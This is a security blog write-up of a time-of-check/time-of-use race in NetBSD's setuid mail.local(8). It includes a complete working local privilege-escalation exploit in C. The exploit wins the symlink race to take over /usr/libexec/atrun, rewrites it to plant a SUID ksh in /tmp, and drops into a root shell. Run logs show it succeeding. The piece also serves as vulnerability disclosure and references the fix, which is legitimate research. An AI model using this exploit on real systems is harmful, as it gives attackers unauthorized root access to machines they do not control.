Spawn your shell like it's 90s again!

This article is a quick walk-through to gaining root privileges in the NetBSD, since it's so 90s you can play Captain Jack [3], or [4] [5] if you prefer polish disco, just to feel the atmosphere while reading. Really, do it! ;)

Abusing SUID files should be dead in 90s, but surprisingly it's still alive. By auditing Coverity Scan reports for the NetBSD SUID files I accidentally found a Time To Check To Time To Use [1] issue in mail.local(8) which luckily can be turned into privilege escalation! You may ask what's mail.local(8)... It simply delivers message from standard input to chosen user mailbox - check man page if you wish to know more. The utility appears also in other BSDs, but it seems that OpenBSD fixed the issue almost 20 years ago and FreeBSD uses sendmail(8) which provides its own implementation.

The bug

177 static int 178 deliver(int fd, char *name, int lockfile) 179 { 180 struct stat sb; 181 struct passwd pwres, *pw; 182 char pwbuf[1024]; 183 int created, mbfd, nr, nw, off, rval=EX_OK, lfd=-1; 184 char biffmsg[100], buf[8*1024], path[MAXPATHLEN], lpath[MAXPATHLEN]; 185 off_t curoff; [...] 200 (void)snprintf(path, sizeof path, "%s/%s", _PATH_MAILDIR, name); [...] 213 if (!(created = lstat(path, &sb)) && 214 (sb.st_nlink != 1 || S_ISLNK(sb.st_mode))) { 215 logwarn("%s: linked file", path); 216 return(EX_OSERR); 217 } 218 219 if ((mbfd = open(path, O_APPEND|O_WRONLY|O_EXLOCK, 220 S_IRUSR|S_IWUSR)) < 0) { 221 if ((mbfd = open(path, O_APPEND|O_CREAT|O_WRONLY|O_EXLOCK, 222 S_IRUSR|S_IWUSR)) < 0) { 223 logwarn("%s: %s", path, strerror(errno)); 224 return(EX_OSERR); 225 } 226 } [...] 262 if (created) 263 (void)fchown(mbfd, pw->pw_uid, pw->pw_gid); 264 265 (void)fsync(mbfd); /* Don't wait for update. */ 266 (void)close(mbfd); /* Implicit unlock. */ [...] Source: https://nxr.netbsd.org/xref/src/libexec/mail.local/mail.local.c



The bug is placed in deliver() function of mail.local:

The code creates path from _PATH_MAILDIR (which is "/var/mail/") and username at line 200, then lstat is done at line 213, if file does not exist (or it's not a symlink) the path is opened at line 219. What if somebody would quickly replace object between lstat(2) and open(2) under the checked path? Well, then arbitrary file can be opened, some data will be appended, and then, eventually, the ownership will be changed. It's the classical race condition example.

The cool thing about this particular issue is that no memory corruption issues are involved, so we don't need to deal with PIE, ASLR and so on. Instead we got pretty nice race, thus it's all about the timing.

Errr... so what? Time window is too small, they said!

No time window is too small to be exploited! It's just a matter of trying hard enough. Let's analyze carefully the case that we have:

mail.local |attacker ----------------------------------------------------------+--------------------------------------------- lstat() - returns ENOENT - the named file does not exist. | | symlink() - an attacker creates symlink that | points to a sensitive file. open() - opens sensitive file through symlink | (...) | fchown() - changes owner to user | | \o/ PROFIT \o/

The moment between lstat(2) and open(2) is our chance to plant malicious symlink. This is a classic race condition example, you may think it could take ages to trigger the above scenario, but in fact it can occur within a few seconds. Let's steal /var/mail/root file:

shm@netbsd-dev ~ $ ls -al /var/mail/root -rw------- 1 root wheel 38 Jul 21 16:08 /var/mail/root

We need two workers. First is supposed to create symlinks, second is responsible for executing mail.local(8).

shm@netbsd-dev ~ $ cat test.c #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #define STEALPATH "/var/mail/root" #define MAILBOX "/var/mail/shm" int main() { int fd; struct stat sb; for(;;) { unlink(MAILBOX); symlink(STEALPATH, MAILBOX); sync(); unlink(MAILBOX); fd = open(MAILBOX, O_CREAT, S_IRUSR | S_IWUSR); close(fd); sync(); if (lstat(STEALPATH, &sb) == 0) { if (sb.st_uid == getuid()) { fprintf(stderr, "[+] won race!

"); return 0; } } } /* NOTREACHED */ return 1; } shm@netbsd-dev ~ $ cc -o test test.c shm@netbsd-dev ~ $ while true ; do echo x | /usr/libexec/mail.local shm 2> /dev/null ; done & [3] 5084 shm@netbsd-dev ~ $ time ./test [+] won race! real 0m3.093s user 0m0.000s sys 0m2.987s shm@netbsd-dev ~ $ ls -al /var/mail/root -rw------- 1 shm shm 77 Jul 21 16:12 /var/mail/root

Within few seconds, we're able to steal root's mailbox, not bad!

Uh I see, what's next?

So we can became an owner of any file in the system, using that possibility into privilege escalation should be easy - actually, there are many ways to do it. One of them is to own passwd, master.passwd and company in order to manipulate system accounts - but tha intrusive and overcomplicated. Instead of this, let's see what's executed repetitively by administrative accounts, own that and change its context to get a shell.

Natural candidate is crontab(8), default tasks look as follows:

[...] #minute hour mday month wday command # */10 * * * * /usr/libexec/atrun # # rotate log files every hour, if necessary 0 * * * * /usr/bin/newsyslog # # do daily/weekly/monthly maintenance 15 3 * * * /bin/sh /etc/daily 2>&1 | tee /var/log/daily.out | sendmail -t 30 4 * * 6 /bin/sh /etc/weekly 2>&1 | tee /var/log/weekly.out | sendmail -t #30 5 1 * * /bin/sh /etc/monthly 2>&1 | tee /var/log/monthly.out | sendmail -t [...] Source: https://nxr.netbsd.org/xref/src/etc/crontab



Of course we do want to wait a month or even a day for shell spawn. The best option is to change atrun(1), triggered every 10 minutes - which is an acceptable time to wait for root privileges, isn't it?

What to execute? The simplest idea is to copy ksh to /tmp directory and set SUID bit. Example script is uber simple:

#! /bin/sh cp /bin/ksh /tmp/ksh chmod +s /tmp/ksh

Upon this script is executed, we get SUIDed shell in /tmp, ksh doesn't drop effective uid and gid, so we can get it 0 by using setuid(2) and setgid(2).

Putting things together

#include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <stdlib.h> #include <string.h> #include <err.h> #include <sys/wait.h> #define ATRUNPATH "/usr/libexec/atrun" #define MAILDIR "/var/mail" static int overwrite_atrun(void) { char *script = "#! /bin/sh

" "cp /bin/ksh /tmp/ksh

" "chmod +s /tmp/ksh

"; size_t size; FILE *fh; int rv = 0; fh = fopen(ATRUNPATH, "wb"); if (fh == NULL) { rv = -1; goto out; } size = strlen(script); if (size != fwrite(script, 1, strlen(script), fh)) { rv = -1; goto out; } out: if (fh != NULL && fclose(fh) != 0) rv = -1; return rv; } static int copy_file(const char *from, const char *dest, int create) { char buf[1024]; FILE *in = NULL, *out = NULL; size_t size; int rv = 0, fd; in = fopen(from, "rb"); if (create == 0) out = fopen(dest, "wb"); else { fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR); if (fd == -1) { rv = -1; goto out; } out = fdopen(fd, "wb"); } if (in == NULL || out == NULL) { rv = -1; goto out; } while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) { if (fwrite(&buf, 1, size, in) != 0) { rv = -1; goto out; } } out: if (in != NULL && fclose(in) != 0) rv = -1; if (out != NULL && fclose(out) != 0) rv = -1; return rv; } int main() { pid_t pid; uid_t uid; struct stat sb; char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf; umask(0077); login = getlogin(); if (login == NULL) err(EXIT_FAILURE, "who are you?"); uid = getuid(); asprintf(&mailbox, MAILDIR "/%s", login); if (mailbox == NULL) err(EXIT_FAILURE, NULL); if (access(mailbox, F_OK) != -1) { /* backup mailbox */ asprintf(&mailbox_backup, "/tmp/%s", login); if (mailbox_backup == NULL) err(EXIT_FAILURE, NULL); } if (mailbox_backup != NULL) { fprintf(stderr, "[+] backup mailbox %s to %s

", mailbox, mailbox_backup); if (copy_file(mailbox, mailbox_backup, 1)) err(EXIT_FAILURE, "[-] failed"); } /* backup atrun(1) */ atrun_backup = strdup("/tmp/atrun"); if (atrun_backup == NULL) err(EXIT_FAILURE, NULL); fprintf(stderr, "[+] backup atrun(1) %s to %s

", ATRUNPATH, atrun_backup); if (copy_file(ATRUNPATH, atrun_backup, 1)) err(EXIT_FAILURE, "[-] failed"); /* win the race */ fprintf(stderr, "[+] try to steal %s file

", ATRUNPATH); switch (pid = fork()) { case -1: err(EXIT_FAILURE, NULL); /* NOTREACHED */ case 0: asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s " "2> /dev/null", login); for(;;) system(buf); /* NOTREACHED */ default: umask(0022); for(;;) { int fd; unlink(mailbox); symlink(ATRUNPATH, mailbox); sync(); unlink(mailbox); fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR); close(fd); sync(); if (lstat(ATRUNPATH, &sb) == 0) { if (sb.st_uid == uid) { kill(pid, 9); fprintf(stderr, "[+] won race!

"); break; } } } break; } (void)waitpid(pid, NULL, 0); if (mailbox_backup != NULL) { /* restore mailbox */ fprintf(stderr, "[+] restore mailbox %s to %s

", mailbox_backup, mailbox); if (copy_file(mailbox_backup, mailbox, 0)) err(EXIT_FAILURE, "[-] failed"); if (unlink(mailbox_backup) != 0) err(EXIT_FAILURE, "[-] failed"); } /* overwrite atrun */ fprintf(stderr, "[+] overwriting atrun(1)

"); if (chmod(ATRUNPATH, 0755) != 0) err(EXIT_FAILURE, NULL); if (overwrite_atrun()) err(EXIT_FAILURE, NULL); fprintf(stderr, "[+] waiting for atrun(1) execution...

"); for(;;sleep(1)) { if (access("/tmp/ksh", F_OK) != -1) break; } /* restore atrun */ fprintf(stderr, "[+] restore atrun(1) %s to %s

", atrun_backup, ATRUNPATH); if (copy_file(atrun_backup, ATRUNPATH, 0)) err(EXIT_FAILURE, "[-] failed"); if (unlink(atrun_backup) != 0) err(EXIT_FAILURE, "[-] failed"); if (chmod(ATRUNPATH, 0555) != 0) err(EXIT_FAILURE, NULL); fprintf(stderr, "[+] done! Don't forget to change atrun(1) " "ownership.

"); fprintf(stderr, "Enjoy your shell:

"); execl("/tmp/ksh", "ksh", NULL); return 0; }

We have all the pieces, let's craft an exploit:

Code is rather self-explanatory, executing is more interesting:

shm@netbsd-dev ~ $ uname -a NetBSD netbsd-dev 7.99.33 NetBSD 7.99.33 (GENERIC) #42: Tue Jul 5 21:30:23 CEST 2016 shm@netbsd-dev:/usr/cvs/src/sys/arch/amd64/compile/obj/GENERIC amd64 shm@netbsd-dev ~ $ id uid=666(shm) gid=666(shm) groups=666(shm) shm@netbsd-dev ~ $ ./mail.local.exp [+] backup mailbox /var/mail/shm to /tmp/shm [+] backup atrun(1) /usr/libexec/atrun to /tmp/atrun [+] try to steal /usr/libexec/atrun file [+] won race! [+] restore mailbox /tmp/shm to /var/mail/shm [+] overwriting atrun(1) [+] waiting for atrun(1) execution... [+] restore atrun(1) /tmp/atrun to /usr/libexec/atrun [+] done! Don't forget to change atrun(1) ownership. Enjoy your shell: # id uid=666(shm) gid=666(shm) euid=0(root) egid=0(wheel) groups=666(shm)

Final words

NetBSD is an elegant operating system with many exciting features as rump(8) or veriexec(8), bugs just happen! The best thing we can do, besides fixing this particular vulnerability [7], is to get rid of SUIDs, like some of our friends already did. But radical step requires major changes.

Hope to bring you back to the 90s. If this bug is older than you, I'm sorry, you missed opportunity to live in the best decade in history of this planet. OpenBSD left this bug in the 20th Century [6], just where it belongs. Particularly I like few lines from this patch:

/* paranoia? */ if (fsb.st_nlink != 1 || S_ISLNK(fsb.st_mode)) { err(NOTFATAL, "%s: linked file", path); goto bad; }

Exactly, better paranoid than sorry!